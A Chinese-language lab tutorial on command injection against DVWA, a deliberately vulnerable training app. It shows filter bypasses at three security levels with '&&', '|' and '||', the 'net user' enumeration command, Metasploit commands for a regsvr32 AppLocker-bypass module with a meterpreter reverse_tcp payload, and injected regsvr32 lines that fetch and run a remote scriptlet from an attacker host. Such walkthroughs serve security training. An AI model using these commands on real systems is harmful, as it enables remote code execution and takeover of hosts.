导语:命令注入攻击指的是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序执行命令时没有仔细验证用户的输入,就会造成命令注入。
命令注入攻击指的是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序执行命令时没有仔细验证用户的输入,如cookies,HTTP头,表单等参数,就会造成命令注入。
这种攻击不同于代码注入,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。 在代码注入中,攻击者扩展了应用程序的默认功能,而无需执行系统命令。
首先从http://www.hackingarticles.in/setup-web-penetest-lab-beginners-using-dvwa-owasp-mutillidae-ii/下载DVWA并安装。DVWA的默认凭证是admin/password。
绕过Low Level Security
点击DVWA security设置安全等级为Low。使用“&&”绕过防护执行命令注入。
在页面上输入一个IP地址并提交。
可以看到ping的结果。
我们可以使用“&”号来执行多个命令。如:
192.168.1.100 && dir
输入上面的命令后点击提交,除了ping的结果,还会列出所有的目录和文件。
我们发现了四个目录和一个文件。
那么执行"192.168.1.100 && net user"并提交,服务器会返回系统用户列表。
我们使用metasploit转移恶意负载到远程服务器。终端运行msfconsole,然后输入以下命令:
msf > use exploit/windows/misc/regsvr32_applocker_bypass_server msf exploit(regsvr32_applocker_bypass_server) > set payload windows/meterpreter/reverse_tcp msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.106 msf exploit(regsvr32_applocker_bypass_server) > set lport 4444 msf exploit(regsvr32_applocker_bypass_server) > exploit
我们使用如下命令让远程服务器执行我们的载荷。
192.168.1.100 && regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll
然后你会得到一个meterpreter会话,运行sysinfo获取系统信息。
绕过Medium Level Security
在DVWA里面设置安全等级为Medium。可以使用“|”管道符绕过中级防护进行命令注入。
192.168.1.100 | regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll and click on submit
我们又获得了一个meterpreter会话。
绕过High Level Security
在DVWA里面设置安全等级为High。使用“||”绕过安全等级high进行命令注入。
192.168.1.100 || regsvr32 /s /n /u /i:http://192.168.1.103:8080/C99PdFH.sct scrobj.dll and click on submit
我们获得了第三个meterpreter会话。